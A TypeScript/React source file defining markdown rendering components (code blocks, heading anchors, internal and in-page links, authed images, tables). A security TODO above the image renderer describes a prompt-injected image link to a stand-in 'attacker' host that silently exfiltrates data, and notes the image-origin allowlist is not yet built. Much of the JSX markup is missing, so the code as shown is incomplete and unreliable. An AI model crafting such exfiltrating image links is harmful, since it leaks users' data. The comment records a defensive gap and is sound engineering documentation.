"use client"; /** * Default react-markdown component map for the unified markdown engine. * ONE implementation of code blocks, headings, links, lists, tables etc. * Compositions layer on top via `componentOverrides` (spread LAST by the * engine, so caller overrides always win). */ import React from 'react'; import type { Components } from 'react-markdown'; import Image from '../../../embed-shims/next-image'; import { useAuthedImageSrc } from '../../../hooks/use-authed-image-src'; import { cn } from '../../../utils/cn'; import type { ResolveLinkResult } from '../../../types/doc-source'; import type { TextSizeElement } from './text-size'; import { MermaidDiagram } from './mermaid-diagram'; import { extractText, resolveFallbackHeadingId, useAssignedHeadingIds, useHeadingId, } from './heading-ids'; import { slugifyHeadingText } from '../../../utils/markdown-heading-id'; import { getHashTargetElement, navigateSamePageHash, HUB_HEADER_OFFSET_PX, } from '../../../utils/same-page-hash-nav'; /** * True when an image `src` is worth rendering. Shared by the base `img` and * the rich composition's `img` / `video` overrides so the empty-`![]()` * guard has exactly one definition. */ /** * Inline content image (blog / docs / chat attachments). A standalone * component — NOT inline JSX in the `img` renderer — because it must call * `useAuthedImageSrc`: in bearer-mode native shells (`capacitor://`, * `tauri://`) a gateway-hosted image can't load through a plain `` (no * Authorization header on native asset loads), so the hook swaps in an authed * blob URL; everywhere else it returns `src` untouched. While the blob fetch * is in flight `resolvedSrc` is null and the component renders nothing — same * as the no-src case. Ported from #1548 into the unified engine (the original * lived in the now-deleted `ui/simple-markdown-renderer.tsx`). Sizing matches * the engine's cap: 400x400 intrinsic, `w-auto h-auto max-h-[400px]` drives * the actual rendered box; click-to-expand surfaces provide full resolution. */ const MarkdownContentImage: React.FC<{ src: string; alt?: string }> = ({ src, alt }) => { const resolvedSrc = useAuthedImageSrc(src); if (!resolvedSrc) return null; return ( {alt ); }; export function hasRenderableSrc(src: unknown): src is string { return typeof src === 'string' && src.trim() !== ''; } export interface BuildBaseComponentsOptions { textSizes: Record; demoteMarkdownH1ToH2: boolean; brokenLinks: readonly string[]; currentPath?: string; onInternalLinkClick?: (path: string, options?: { expandFolder?: boolean; fromInternalLink?: boolean }) => void; onResolveLink?: (href: string, currentPath: string) => Promise; } /** * The standard leaf renderers (`code` block + inline, `blockquote`, `div` * pass-through) as standalone functions. * * SSOT for compositions that must OVERRIDE these renderers for a narrow * special case and then fall through: the rich composition intercepts embed * fence languages, shortcode-expanded `div`s and Reddit's `reddit-embed-bq` * blockquote, and delegates everything else here. Previously it reproduced * these renderers byte-for-byte, so any class change here silently drifted * on content surfaces. * * THESE MUST STAY HOOK-FREE: the rich composition calls them as plain * functions from inside its own renderers (`standard.code(props)`), which is * not a React render of a component and would break the rules of hooks. * Hook-using renderers (the headings, which read the heading-line offset * from context) live in `buildBaseComponents` below and are never delegated * to this way. * * ODS-TOKENS FLAG (ODS_TOKEN_RULES §Typography / §General): inline code keeps * an inline `text-[0.9em]`, carried over verbatim from the pre-unification * renderers — ODS has no relative-to-parent code size, so mapping it onto an * existing token would visibly change every inline code span. Same shape as * the flag in ./text-size.ts — flagged for addition to ODS, not copied * anywhere else. * * The code BLOCK's font is NOT flagged: the raw "JetBrains Mono", "SF Mono", * Consolas stack the old renderer inlined is gone, replaced by Tailwind's * `font-mono` (→ `var(--font-family-heading)`, the Azeret Mono ODS stack) — * the same class the inline-code branch below already used, so the two code * surfaces no longer disagree about their family. */ export function buildStandardLeafRenderers({ textSizes, }: { textSizes: Record; }): Pick { return { // eslint-disable-next-line @typescript-eslint/no-explicit-any code: ({ node, inline, className: codeClassName, children, ...props }: any) => { const match = /language-(\w+)/.exec(codeClassName || ''); const language = match ? match[1] : ''; if (!inline && language === 'mermaid') { return ; } if (!inline && match) { return (
{language || 'code'}
                
                  {children}
                
              
); } return ( {children} ); }, // eslint-disable-next-line @typescript-eslint/no-explicit-any blockquote: ({ children }: any) => (
{children}
), // Pass-through `div` (overridable for embeds; `node` is dropped so it // never reaches the DOM). // eslint-disable-next-line @typescript-eslint/no-explicit-any div: ({ node, className: divClassName, children, ...props }: any) => (
{children}
), }; } export function buildBaseComponents({ textSizes, demoteMarkdownH1ToH2, brokenLinks, currentPath: propCurrentPath, onInternalLinkClick, onResolveLink, }: BuildBaseComponentsOptions): Components { const makeHeading = ( Tag: 'h1' | 'h2' | 'h3' | 'h4' | 'h5' | 'h6', headingClassName: string, ) => // eslint-disable-next-line @typescript-eslint/no-explicit-any ({ node, children }: any) => { // PURE LOOKUP — no counters, no render-order dependency. The map is // built once from the processed source and reaches this renderer via // context (see ./heading-ids.ts for why not via this options object). const mapped = useHeadingId(node); const taken = useAssignedHeadingIds(); // An AUTHORED anchor wins over everything. The sanitize schema allows // `id` on every element (and disables clobbering) precisely so // `

` keeps its hand-picked anchor; overwriting it // with the slug of its text silently broke every existing deep link // pointing at it. const explicit = typeof node?.properties?.id === 'string' && node.properties.id !== '' ? node.properties.id : undefined; // Fallback for headings the source scan cannot see — in practice only // caller-plugin-synthesized nodes, which carry no source position. // Deduped against the ids the map already assigned (pure — see // resolveFallbackHeadingId). const id = explicit ?? mapped ?? resolveFallbackHeadingId(slugifyHeadingText(extractText(children)), taken); const EffectiveTag = Tag === 'h1' && demoteMarkdownH1ToH2 ? 'h2' : Tag; return {children}; }; return { // --- code + blockquote + div (shared leaf renderers, see above) --- ...buildStandardLeafRenderers({ textSizes }), // --- headings --- h1: makeHeading('h1', cn('font-sans font-bold mt-8 mb-4 first:mt-0 text-ods-text-primary', textSizes.h1)), h2: makeHeading('h2', cn('font-sans font-semibold mt-8 mb-4 pb-2 border-b text-ods-text-primary border-ods-border', textSizes.h2)), h3: makeHeading('h3', cn('font-sans font-semibold mt-6 mb-3 text-ods-text-primary', textSizes.h3)), h4: makeHeading('h4', cn('font-sans font-semibold mt-4 mb-2 text-ods-text-primary', textSizes.h4)), h5: makeHeading('h5', cn('font-sans font-semibold mt-3 mb-2 text-ods-text-primary', textSizes.h5)), h6: makeHeading('h6', cn('font-sans font-semibold mt-3 mb-1 text-ods-text-primary', textSizes.h6)), // --- paragraph --- // eslint-disable-next-line @typescript-eslint/no-explicit-any p: ({ children }: any) => (

{children}

), // --- links --- // eslint-disable-next-line @typescript-eslint/no-explicit-any a: ({ href, children, className: linkClassName }: any) => { const isBroken = brokenLinks.includes(href); const isInternalDocLink = propCurrentPath !== undefined && propCurrentPath !== null && href && !href.startsWith('http') && !href.startsWith('#'); if (isBroken) { return ( {children} [BROKEN] ); } if (isInternalDocLink && onInternalLinkClick) { const currentPath = propCurrentPath ?? ''; return ( { e.preventDefault(); e.stopPropagation(); if (onResolveLink) { try { const result = await onResolveLink(href, currentPath); if (result.type === 'folder-no-readme' && result.action === 'expand_folder') { onInternalLinkClick(result.resolvedPath!, { expandFolder: true, fromInternalLink: true }); } else if (result.type === 'not-found') { return; } else if (result.success && result.resolvedPath) { onInternalLinkClick(result.resolvedPath, { fromInternalLink: true }); } } catch (error) { console.error('Error resolving link:', error); } } else { onInternalLinkClick(href, { fromInternalLink: true }); } }} role="link" tabIndex={0} onKeyDown={(e) => { if (e.key === 'Enter' || e.key === ' ') { (e.currentTarget as HTMLElement).click(); } }} > {children} ); } // In-page anchor. Doc TOCs are authored against GitHub's slugger // (`## 📚 Table of Contents` → `#-table-of-contents`) while our heading // ids trim the emoji's leftover hyphen, so the raw href resolves to // nothing and the browser silently ignores the click. Resolve through // `getHashTargetElement` — the same resolver deep links use — then hand // the real id to the canonical hash-nav helper, which also lands the // heading BELOW the sticky header instead of under it, matching how the // "On this page" rail scrolls. const isInPageAnchor = typeof href === 'string' && href.startsWith('#') && href.length > 1; const handleAnchorClick = (e: React.MouseEvent) => { // Let modifier / non-primary clicks keep their native behavior. if (e.metaKey || e.ctrlKey || e.shiftKey || e.altKey || e.button !== 0) return; const target = getHashTargetElement(href.slice(1)); // Nothing matched anywhere in the document → leave the browser's // default alone rather than swallowing a click that isn't ours. if (!target?.id) return; e.preventDefault(); navigateSamePageHash(`#${target.id}`, { headerOffset: HUB_HEADER_OFFSET_PX }); }; return ( {children} ); }, // --- images --- // Inline content image renderer (blog, docs, chat attachments) — // delegates to `MarkdownContentImage` (above), which handles bearer-mode // authed loading for native shells and the 400x400 cap with click-to- // expand for full resolution. // // TODO(security): LLM-rendered surfaces still auto-load ANY image origin, // so a prompt-injected `![](https://attacker/log?d=)` exfiltrates // silently. An image-origin allowlist is a tracked follow-up: it requires // a host-supplied origin list threaded from each chat composition (there // is no safe default this library can pick), so it is deliberately absent // rather than shipped unwired. // eslint-disable-next-line @typescript-eslint/no-explicit-any img: ({ src, alt }: any) => { if (!hasRenderableSrc(src)) return null; return ; }, // --- lists --- // eslint-disable-next-line @typescript-eslint/no-explicit-any ul: ({ children }: any) => (
    {children}
), // eslint-disable-next-line @typescript-eslint/no-explicit-any ol: ({ children }: any) => (
    {children}
), // eslint-disable-next-line @typescript-eslint/no-explicit-any li: ({ children }: any) => (
  • {children}
  • ), // --- tables --- // eslint-disable-next-line @typescript-eslint/no-explicit-any table: ({ children }: any) => (
    {children}
    ), // eslint-disable-next-line @typescript-eslint/no-explicit-any thead: ({ children }: any) => ( {children} ), // eslint-disable-next-line @typescript-eslint/no-explicit-any th: ({ children }: any) => ( {children} ), // eslint-disable-next-line @typescript-eslint/no-explicit-any td: ({ children }: any) => ( {children} ), // --- horizontal rule --- hr: () =>
    , }; }